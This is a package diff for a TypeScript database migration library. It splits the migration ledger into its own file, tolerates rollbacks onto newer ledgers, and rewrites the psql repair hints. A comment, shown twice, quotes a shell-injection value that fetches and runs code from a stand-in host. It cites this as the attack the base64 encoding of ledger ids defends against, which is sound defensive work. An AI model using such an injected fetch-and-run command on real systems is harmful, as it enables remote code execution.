@ultimat3/db 23.0.0 → 25.0.0

package/src/migrate.ts

@@ -3,19 +3,37 @@
 // app-version fence is the `migrate` role's contract — a pod must refuse to migrate a database
 // another build already owns, because the alternative is two schemas racing during a rollout.
 
-import { appVersion, finiteCount } from '@ultimat3/core';
+import { appVersion, finiteCount, logger, renderFixShellArg } from '@ultimat3/core';
 import { baseClient, type DbClient, type DbConnection, isReservable } from './client';
 import { refuseDependentViews } from './dependent-view';
 import { expectedQueryLoop } from './expected-loop';
-import type { SchemaDescription } from './introspect';
+import { ledgerAheadOfBuild } from './migrate-rollback';
 import { migrateConcurrent, migrationConflict, rollbackStepsInvalid } from './migration-errors';
+import type { Migration } from './migration-ledger';
+import {
+  auditLedger,
+  ensureLedger,
+  LEDGER_TABLE,
+  migrationChecksum,
+  pendingMigrations,
+  readLedger,
+} from './migration-ledger';
 import { poolProfileFor } from './pool-profile';
 import { raw, sql } from './sql';
-import { SQLSTATE, sqlState } from './sqlstate';
 import { statementsOf } from './statement-split';
-import { type DbTx, withTransaction } from './transaction';
-
-export const LEDGER_TABLE = 'x_migrations';
+import { withTransaction } from './transaction';
+
+export type { LedgerRow, Migration } from './migration-ledger';
+export {
+  auditLedger,
+  checksumOf,
+  ensureLedger,
+  isLedgerMissing,
+  LEDGER_TABLE,
+  migrationChecksum,
+  pendingMigrations,
+  readLedger,
+} from './migration-ledger';
 
 /** Stable, arbitrary: every Ultimate migrator contends on this one key. */
 export const MIGRATION_LOCK_KEY = 4_919_202_607;
@@ -32,27 +50,6 @@ export const MIGRATION_LOCK_WAIT_MS = 60_000;
 /** One poll per half-second: cheap against a lock that is usually free on the first try. */
 export const MIGRATION_LOCK_POLL_MS = 500;
 
-export interface Migration {
-  /** Sort key and primary key. `20260726120000_add_publish_at`. */
-  readonly id: string;
-  readonly name: string;
-  readonly up: string;
-  readonly down: string;
-  /** Computed from `up` when absent. */
-  readonly checksum?: string | undefined;
-  /** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
-  readonly snapshot?: SchemaDescription | undefined;
-}
-
-export interface LedgerRow {
-  readonly id: string;
-  readonly name: string;
-  readonly checksum: string;
-  readonly applied_at: string;
-  readonly app_version: string;
-  readonly duration_ms: number;
-}
-
 export interface AppliedMigration {
   readonly id: string;
   readonly name: string;
@@ -65,6 +62,11 @@ export interface MigrationReport {
   readonly skipped: readonly string[];
   readonly durationMs: number;
   readonly appVersion: string;
+  /**
+   * Ledger ids a NEWER build applied, when this build is a rollback onto them — accepted, never
+   * applied or reverted (`migrate-rollback.ts`). Empty on every ordinary run.
+   */
+  readonly ahead: readonly string[];
 }
 
 export interface MigrateOptions {
@@ -83,14 +85,6 @@ export interface MigrateOptions {
   readonly lockTimeoutMs?: number | undefined;
 }
 
-export function checksumOf(text: string): string {
-  return new Bun.CryptoHasher('sha256').update(text.trim()).digest('hex').slice(0, 32);
-}
-
-export function migrationChecksum(migration: Migration): string {
-  return migration.checksum ?? checksumOf(migration.up);
-}
-
 /**
  * Core's, never a second read of the key: `x_migrations.app_version` and `x_backfills.app_version`
  * are two durable columns an operator reads side by side, and a package defaulting `APP_VERSION`
@@ -100,125 +94,6 @@ export function runningAppVersion(explicit?: string | undefined): string {
   return explicit ?? appVersion();
 }
 
-export async function ensureLedger(client: DbClient): Promise<void> {
-  await client.execute(sql`
-    create table if not exists ${raw(LEDGER_TABLE)} (
-      id text primary key,
-      name text not null,
-      checksum text not null,
-      applied_at timestamptz not null default now(),
-      app_version text not null,
-      duration_ms integer not null
-    )
-  `);
-}
-
-/**
- * Whether `error` is "the ledger table does not exist" and nothing else.
- *
- * Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
- * ledger, not an empty one, and a caller treating the two alike reports every migration as pending
- * against a database it cannot see.
- *
- * The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
- * `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
- * `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
- * on every production driver. One reader, one answer (axiom 1).
- */
-export function isLedgerMissing(error: unknown): boolean {
-  return sqlState(error) === SQLSTATE.undefinedTable;
-}
-
-export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
-  return client.query<LedgerRow>(sql`
-    select id, name, checksum, applied_at, app_version, duration_ms
-    from ${raw(LEDGER_TABLE)}
-    order by id
-  `);
-}
-
-/**
- * Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
- * report the same verdict without holding the lock.
- */
-export function auditLedger(
-  ledger: readonly LedgerRow[],
-  migrations: readonly Migration[],
-  appVersion: string,
-): void {
-  const known = new Map(migrations.map((migration) => [migration.id, migration]));
-
-  // The predicate is "this build does not ship it" and NOTHING else. It used to also require
-  // `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
-  // `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
-  // earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
-  // its table from the drift comparison: `ok: true` against a database that still has the table.
-  // The version is a detail of the ANSWER, so it moved into the cause.
-  const foreign = ledger.filter((row) => !known.has(row.id));
-  const first = foreign[0];
-  if (first !== undefined) {
-    throw migrationConflict(
-      `the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
-        `but this build is "${appVersion}" and does not ship it`,
-      // `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
-      // and backfill — and this is one of the two errors most likely to fire during a real deploy.
-      // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
-      // does, and the one edit that resolves the disagreement.
-      conflictFix(first),
-    );
-  }
-
-  for (const row of ledger) {
-    const migration = known.get(row.id);
-    if (migration === undefined) continue;
-    const checksum = migrationChecksum(migration);
-    if (checksum === row.checksum) continue;
-    throw migrationConflict(
-      `migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
-      `x db gen "fix ${migration.name}"   # never edit an applied migration, add a new one`,
-    );
-  }
-}
-
-/**
- * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
- * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
- * substitute before psql is reached at all. Measured before this screen: an id of
- * `$(curl -s evil.sh|sh)` produced exactly that command.
- *
- * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
- * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
- * character of it inert in shell double quotes and inert inside a SQL string literal. One command
- * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
- *
- * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
- * degraded the whole line to prose naming no command — so a row could take the one instruction
- * away from the operator by holding a space. An error that stops being an instruction under
- * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
- * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
- *
- * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
- * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
- */
-function conflictFix(row: LedgerRow): string {
-  const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
-  return (
-    'deploy the app version this error names — or, if that build is gone, drop its row: ' +
-    `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
-    `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
-  );
-}
-
-export function pendingMigrations(
-  ledger: readonly LedgerRow[],
-  migrations: readonly Migration[],
-): readonly Migration[] {
-  const applied = new Set(ledger.map((row) => row.id));
-  return [...migrations]
-    .sort((a, b) => (a.id < b.id ? -1 : 1))
-    .filter((migration) => !applied.has(migration.id));
-}
-
 /**
  * Hold the migration lock on **one** session for the whole of `fn`, which runs on that session.
  *
@@ -312,7 +187,7 @@ async function withAdvisoryLock<T>(
  * migration loop, and nesting here would replace that reason with a narrower one for no gain. An
  * empty script sends nothing at all, which is how a no-op migration reaches its ledger row.
  */
-async function applyScript(tx: DbTx, script: string): Promise<void> {
+async function applyScript(tx: DbClient, script: string): Promise<void> {
   for (const statement of statementsOf(script)) await tx.execute(raw(statement));
 }
 
@@ -331,7 +206,7 @@ async function applyScript(tx: DbTx, script: string): Promise<void> {
  * it, exactly like `statementTimeoutMs`. The failure it produces is `55P03`, typed as
  * `X_DB_LOCK_TIMEOUT` by `driverError` with the `pg_stat_activity` read as its fix.
  */
-async function setLockTimeout(tx: DbTx, lockTimeoutMs: number): Promise<void> {
+async function setLockTimeout(tx: DbClient, lockTimeoutMs: number): Promise<void> {
   if (lockTimeoutMs <= 0) return;
   // `SET LOCAL` takes no parameter placeholder, and the value is a validated integer of ours.
   await tx.execute(raw(`SET LOCAL lock_timeout = ${Math.round(lockTimeoutMs)}`));
@@ -368,8 +243,22 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
     finiteCount('migrate', 'lockWaitMs', options.lockWaitMs ?? MIGRATION_LOCK_WAIT_MS, 0),
     async (session) => {
       await ensureLedger(session);
-      const ledger = await readLedger(session);
+      const read = await readLedger(session);
+      // A rollback to an older image meets rows the newer build applied. Accepted, applied over by
+      // nothing, and said out loud: the pre-upgrade Job failing here was the rollback failing.
+      const rolledBack = ledgerAheadOfBuild(read, options.migrations);
+      const ledger = rolledBack?.known ?? read;
       auditLedger(ledger, options.migrations, appVersion);
+      const ahead = rolledBack?.ahead.map((row) => row.id) ?? [];
+      if (rolledBack !== undefined) {
+        logger.warn('ultimate migrate ledger ahead of build', {
+          appVersion,
+          ahead,
+          aheadAppVersions: [...new Set(rolledBack.ahead.map((row) => row.app_version))],
+          cause: `the ledger holds ${ahead.length} migration(s) newer than every one build "${appVersion}" ships — a rollback onto a newer build's schema; nothing was applied`,
+          fix: 'x db migrate --json   # after the rollback, from the newer build: it finds its migrations already applied',
+        });
+      }
 
       const pending = pendingMigrations(ledger, options.migrations);
       // A statement per migration and a transaction per migration is the point, not an N+1 to batch:
@@ -418,6 +307,7 @@ export async function migrate(options: MigrateOptions): Promise<MigrationReport>
         skipped: ledger.map((row) => row.id),
         durationMs: Math.round(performance.now() - started),
         appVersion,
+        ahead,
       };
     },
   );
@@ -473,7 +363,7 @@ export async function rollback(options: RollbackOptions): Promise<readonly strin
                 `migration "${row.id}" is in the ledger but not in this build, so its down SQL is unknown`,
                 // Same reason as `auditLedger`'s: `x db status` does not exist. The `down` SQL only
                 // exists in the build that shipped it, so the fix is the read that names that build.
-                `psql "$DATABASE_URL" -c "select id, app_version from ${LEDGER_TABLE} ` +
+                `psql "$DATABASE_URL" -c "select id, app_version from ${renderFixShellArg(LEDGER_TABLE, '<ledger table>')} ` +
                   `order by id desc limit 5"   # deploy the build that shipped the migration ` +
                   `whose id is base64 ${Buffer.from(row.id, 'utf8').toString('base64')}, ` +
                   'and roll back there — its down SQL exists nowhere else',

package/src/migration-ledger.ts

@@ -0,0 +1,167 @@
+// Single responsibility: the `x_migrations` ledger — what a migration IS, the table that records
+// one applied, and the pure verdicts read off it (checksum drift, a foreign row, what is pending).
+// Split from `migrate.ts`, which keeps the lock, the apply loop and the rollback; `migrate.ts`
+// re-exports every name here, so its public surface is unchanged.
+
+import type { DbClient } from './client';
+import type { SchemaDescription } from './introspect';
+import { migrationConflict } from './migration-errors';
+import { migrationNameArg } from './primary-key';
+import { raw, sql } from './sql';
+import { SQLSTATE, sqlState } from './sqlstate';
+
+export const LEDGER_TABLE = 'x_migrations';
+
+export interface Migration {
+  /** Sort key and primary key. `20260726120000_add_publish_at`. */
+  readonly id: string;
+  readonly name: string;
+  readonly up: string;
+  readonly down: string;
+  /** Computed from `up` when absent. */
+  readonly checksum?: string | undefined;
+  /** The schema this migration leaves behind. `drift.ts` compares the live DB against it. */
+  readonly snapshot?: SchemaDescription | undefined;
+}
+
+export interface LedgerRow {
+  readonly id: string;
+  readonly name: string;
+  readonly checksum: string;
+  readonly applied_at: string;
+  readonly app_version: string;
+  readonly duration_ms: number;
+}
+
+/**
+ * CRLF is folded to LF first: a Windows checkout under `core.autocrlf=true` reads the same migration
+ * as CRLF, and an image built from it must not refuse a database a Linux image migrated. LF input
+ * is hashed byte-for-byte as before, so no checksum already in a ledger moves. A lone `\r` is SQL.
+ */
+export function checksumOf(text: string): string {
+  const lf = text.replaceAll('\r\n', '\n');
+  return new Bun.CryptoHasher('sha256').update(lf.trim()).digest('hex').slice(0, 32);
+}
+
+export function migrationChecksum(migration: Migration): string {
+  return migration.checksum ?? checksumOf(migration.up);
+}
+
+export async function ensureLedger(client: DbClient): Promise<void> {
+  await client.execute(sql`
+    create table if not exists ${raw(LEDGER_TABLE)} (
+      id text primary key,
+      name text not null,
+      checksum text not null,
+      applied_at timestamptz not null default now(),
+      app_version text not null,
+      duration_ms integer not null
+    )
+  `);
+}
+
+/**
+ * Whether `error` is "the ledger table does not exist" and nothing else.
+ *
+ * Everything else — a permission denied, a server in recovery, a timeout — is a failure to read the
+ * ledger, not an empty one, and a caller treating the two alike reports every migration as pending
+ * against a database it cannot see.
+ *
+ * The SQLSTATE comes from `sqlState()` and from nowhere else: this function used to read
+ * `sourceError.code` itself, which is the SQLSTATE on PGlite and the literal string
+ * `ERR_POSTGRES_SERVER_ERROR` on `Bun.SQL`, so it answered `false` for a genuinely missing ledger
+ * on every production driver. One reader, one answer (axiom 1).
+ */
+export function isLedgerMissing(error: unknown): boolean {
+  return sqlState(error) === SQLSTATE.undefinedTable;
+}
+
+export async function readLedger(client: DbClient): Promise<readonly LedgerRow[]> {
+  return client.query<LedgerRow>(sql`
+    select id, name, checksum, applied_at, app_version, duration_ms
+    from ${raw(LEDGER_TABLE)}
+    order by id
+  `);
+}
+
+/**
+ * Every reason a migrator must stop before touching the schema. Pure, so `x db status` can
+ * report the same verdict without holding the lock.
+ */
+export function auditLedger(
+  ledger: readonly LedgerRow[],
+  migrations: readonly Migration[],
+  appVersion: string,
+): void {
+  const known = new Map(migrations.map((migration) => [migration.id, migration]));
+
+  // The predicate is "this build does not ship it" and NOTHING else. It used to also require
+  // `row.app_version !== appVersion`, which switched the audit off wherever the two agree —
+  // `runningAppVersion()` answers `dev` for every development build, so a migration applied by an
+  // earlier `dev` build and since deleted was invisible here, and `expectedSchema` then dropped
+  // its table from the drift comparison: `ok: true` against a database that still has the table.
+  // The version is a detail of the ANSWER, so it moved into the cause.
+  const foreign = ledger.filter((row) => !known.has(row.id));
+  const first = foreign[0];
+  if (first !== undefined) {
+    throw migrationConflict(
+      `the ledger records migration "${first.id}" applied by app version "${first.app_version}" ` +
+        `but this build is "${appVersion}" and does not ship it`,
+      // `x db status` has never existed — the subcommands are gen, migrate, reset, studio, branch
+      // and backfill — and this is one of the two errors most likely to fire during a real deploy.
+      // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
+      // does, and the one edit that resolves the disagreement.
+      conflictFix(first),
+    );
+  }
+
+  for (const row of ledger) {
+    const migration = known.get(row.id);
+    if (migration === undefined) continue;
+    const checksum = migrationChecksum(migration);
+    if (checksum === row.checksum) continue;
+    throw migrationConflict(
+      `migration "${row.id}" was applied with checksum ${row.checksum} but now hashes ${checksum}`,
+      `x db gen ${migrationNameArg(`fix ${migration.name}`)}   # never edit an applied migration, add a new one`,
+    );
+  }
+}
+
+/**
+ * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
+ * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
+ * substitute before psql is reached at all. Measured before this screen: an id of
+ * `$(curl -s evil.sh|sh)` produced exactly that command.
+ *
+ * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
+ * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
+ * character of it inert in shell double quotes and inert inside a SQL string literal. One command
+ * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
+ *
+ * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
+ * degraded the whole line to prose naming no command — so a row could take the one instruction
+ * away from the operator by holding a space. An error that stops being an instruction under
+ * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
+ * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
+ *
+ * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
+ * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
+ */
+function conflictFix(row: LedgerRow): string {
+  const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
+  return (
+    'deploy the app version this error names — or, if that build is gone, drop its row: ' +
+    `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
+    `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
+  );
+}
+
+export function pendingMigrations(
+  ledger: readonly LedgerRow[],
+  migrations: readonly Migration[],
+): readonly Migration[] {
+  const applied = new Set(ledger.map((row) => row.id));
+  return [...migrations]
+    .sort((a, b) => (a.id < b.id ? -1 : 1))
+    .filter((migration) => !applied.has(migration.id));
+}

package/src/object-drift.ts

@@ -4,12 +4,18 @@
 // so everything else is compared here, catalog against catalog, by identity and never by text.
 
 import type { CatalogDescription } from './catalog';
+import { psqlCommand } from './dependent-view';
 import { FRAMEWORK_TABLE_PREFIX } from './drift';
-import type { DriftDifference } from './drift-findings';
-import { shellInertIdentifier } from './sql';
+import { byHand, type DriftDifference } from './drift-findings';
+import { literal, shellInertIdentifier } from './sql';
 
 interface ObjectIdentity {
-  /** The word `drop` takes: `trigger`, `function`, `view`, `materialized view`, `type`, `sequence`. */
+  /** The schema the catalog was read from — a new psql session's search_path need not hold it. */
+  readonly schema: string;
+  /**
+   * The word `drop` takes: `trigger`, `function`, `view`, `materialized view`, `type`, `domain`,
+   * `sequence`. A domain keeps its own word: it is inspected by a different psql command.
+   */
   readonly kind: string;
   readonly name: string;
   /** What tells two objects of one name apart: a function's arguments. */
@@ -27,13 +33,14 @@ interface ObjectIdentity {
  */
 function identities(catalog: CatalogDescription): readonly ObjectIdentity[] {
   const plain = (kind: string, name: string): ObjectIdentity => ({
+    schema: catalog.schema,
     kind,
     name,
     signature: '',
     table: null,
   });
   return [
-    ...catalog.types.map((type) => plain('type', type.name)),
+    ...catalog.types.map((type) => plain(type.kind === 'domain' ? 'domain' : 'type', type.name)),
     ...catalog.sequences.map((sequence) => plain('sequence', sequence.name)),
     ...catalog.views.map((view) =>
       plain(view.materialized ? 'materialized view' : 'view', view.name),
@@ -53,38 +60,88 @@ const SIGNATURE_ACTIVE = /[`$\\\u0000-\u001f\u007f]/;
 const keyOf = (object: ObjectIdentity): string =>
   [object.kind, object.table ?? '', object.name, object.signature].join('\u0000');
 
+/** The psql command that PRINTS a kind's definition — what a migration's create statement is copied from. */
+const SHOW = Object.freeze<Record<string, string>>({
+  view: '\\d+',
+  'materialized view': '\\d+',
+  type: '\\dT+',
+  // `\dT+` LISTS a domain and shows none of it; its base type and CHECKs are `\dD+`'s (measured, 17).
+  domain: '\\dD+',
+  sequence: '\\d',
+  // A trigger has no command of its own: `\d` on its table lists it, definition included.
+  trigger: '\\d',
+});
+
+/**
+ * A function's definition, asked for by the three facts the catalog gave: its schema, its name and
+ * its identity arguments. Not `\\sf name(args)`: that parses a TYPE list, and the identity arguments
+ * carry the parameter NAMES (`a text`), which it answers with a syntax error — measured on 17. By
+ * NAMESPACE and never `pg_function_is_visible`: visibility is the session's search_path, which can
+ * hide this function or answer a same-named one from another schema. All three are data, so all
+ * three go through `literal()`.
+ */
+const showFunction = (object: ObjectIdentity): string =>
+  'select pg_get_functiondef(p.oid) from pg_proc p join pg_namespace n on n.oid = ' +
+  `p.pronamespace where n.nspname = ${literal(object.schema).text} and ` +
+  `p.proname = ${literal(object.name).text} and ` +
+  `pg_get_function_identity_arguments(p.oid) = ${literal(object.signature).text}`;
+
 /**
- * The `drop` comes FIRST in the fix, and that order is the instruction: a migration that creates
- * an object the database already holds fails on `already exists`, so the hand-made copy has to go
- * before the migration that owns it can apply.
+ * The fix is ONE command a shell runs, and it is the harmless one: it prints the object's
+ * definition. The repair is the comment, in the order it has to happen — copy the definition into
+ * a migration, drop the hand-made copy (a migration creating an object the database already holds
+ * fails on `already exists`), then migrate. It used to lead with `run drop …; inside psql`: prose
+ * no shell runs, whose first step destroyed the definition the second step needed.
  */
 function unexpectedObject(object: ObjectIdentity): DriftDifference {
+  const schema = shellInertIdentifier(object.schema);
   const name = shellInertIdentifier(object.name);
   const table = object.table === null ? null : shellInertIdentifier(object.table);
   const where = object.table === null ? '' : ` on table "${object.table}"`;
   const signature = object.signature === '' ? '' : `(${object.signature})`;
-  // A function is dropped by its argument list, empty included: `drop function "add";` is
+  // A function is named by its argument list, empty included: `drop function "add";` is
   // `42725 function name is not unique` while an overload lives beside it. The list is catalog
   // text (`pg_get_function_identity_arguments`), already quoted for SQL, so it is screened for
   // what a shell or a pasted line would read and never escaped.
   const args = object.kind === 'function' ? `(${object.signature})` : '';
   const spellable =
+    schema !== null &&
     name !== null &&
     (object.table === null || table !== null) &&
     !SIGNATURE_ACTIVE.test(object.signature);
-  const drop = `drop ${object.kind} ${name}${args}${table === null ? '' : ` on ${table}`};`;
+  const cause = `${object.kind} "${object.name}"${signature}${where} exists in this database and no migration creates it`;
+  const kind = 'unexpected-object';
+  const base = { kind, table: object.table ?? object.name, column: null, cause } as const;
+  if (!spellable) {
+    return {
+      ...base,
+      fix: byHand(
+        'copy the definition of the object this difference names into a migration as a create ' +
+          'statement, then drop it',
+        'its schema, name or arguments carry a backtick, a dollar sign, a quote, a backslash or ' +
+          'whitespace, so no statement here can spell it',
+      ),
+    };
+  }
+  // Every target is qualified by the catalog's schema: unqualified, `\d "posts"` in a session
+  // whose search_path lacks that schema answers "Did not find any relation" — and exits 0.
+  const drop =
+    table === null
+      ? `drop ${object.kind} ${schema}.${name}${args};`
+      : `drop ${object.kind} ${name} on ${schema}.${table};`;
+  // The comment repeats the statement only when it holds no `'`: a shell that does not read `#`
+  // as a comment would open a quote on one. The command is safe either way (`psqlCommand`).
+  const spoken = drop.includes("'") ? `drop ${object.kind} on it` : drop;
+  const show = psqlCommand(
+    object.kind === 'function'
+      ? showFunction(object)
+      : `${SHOW[object.kind] ?? '\\d'} ${schema}.${table ?? name}`,
+  );
   return {
-    kind: 'unexpected-object',
-    table: object.table ?? object.name,
-    column: null,
-    cause: `${object.kind} "${object.name}"${signature}${where} exists in this database and no migration creates it`,
-    fix: spellable
-      ? `run ${drop} inside psql "$DATABASE_URL", then write its create statement into a ` +
-        'migration and run x db migrate — or leave it dropped if nothing owns it'
-      : 'drop it by hand, then write its create statement into a migration and run x db migrate ' +
-        '— its name or arguments carry a backtick, a dollar sign, a quote, a backslash or ' +
-        'whitespace, so ' +
-        'no statement here can spell it',
+    ...base,
+    fix:
+      `${show}   # no migration creates it: copy its definition into a migration as a create ` +
+      `statement, run ${spoken} here, then x db migrate — or only drop it if nothing owns it`,
   };
 }
 

package/src/pglite-branch.ts

@@ -5,10 +5,10 @@
 
 import { cp, mkdir, rm, stat } from 'node:fs/promises';
 import { basename, dirname, join } from 'node:path';
-import { systemClock } from '@ultimat3/core';
+import { NotImplementedError, systemClock } from '@ultimat3/core';
 import type { BranchInfo } from './branch';
 import { assertBranchName } from './branch';
-import { branchExists, dbNotImplemented, dbUnavailable } from './errors';
+import { branchExists, dbUnavailable } from './errors';
 import { PGLITE_MEMORY, pgliteDataDir } from './pglite';
 
 export interface PgliteBranchOptions {
@@ -22,7 +22,7 @@ export interface PgliteBranchOptions {
 }
 
 export interface PgliteBranchInfo extends BranchInfo {
-  /** Hand this straight to `createPgliteClient({ dataDir })`. */
+  /** Hand this straight to `pgliteClient({ dataDir })`. */
   readonly dataDir: string;
 }
 
@@ -56,10 +56,10 @@ export async function branchPglite(
   assertBranchName(branch);
   const from = pgliteDataDir(options.from);
   if (from === PGLITE_MEMORY) {
-    throw dbNotImplemented(
-      'branching an in-memory PGlite',
-      'x dev   # a branch copies .x/pgdata, so the database has to be on disk first',
-    );
+    throw new NotImplementedError({
+      cause: 'branching an in-memory PGlite is not implemented by this driver',
+      fix: 'x dev   # a branch copies .x/pgdata, so the database has to be on disk first',
+    });
   }
   if (!(await isDirectory(from))) {
     throw dbUnavailable(`there is no PGlite data directory at ${from}, so nothing to branch`);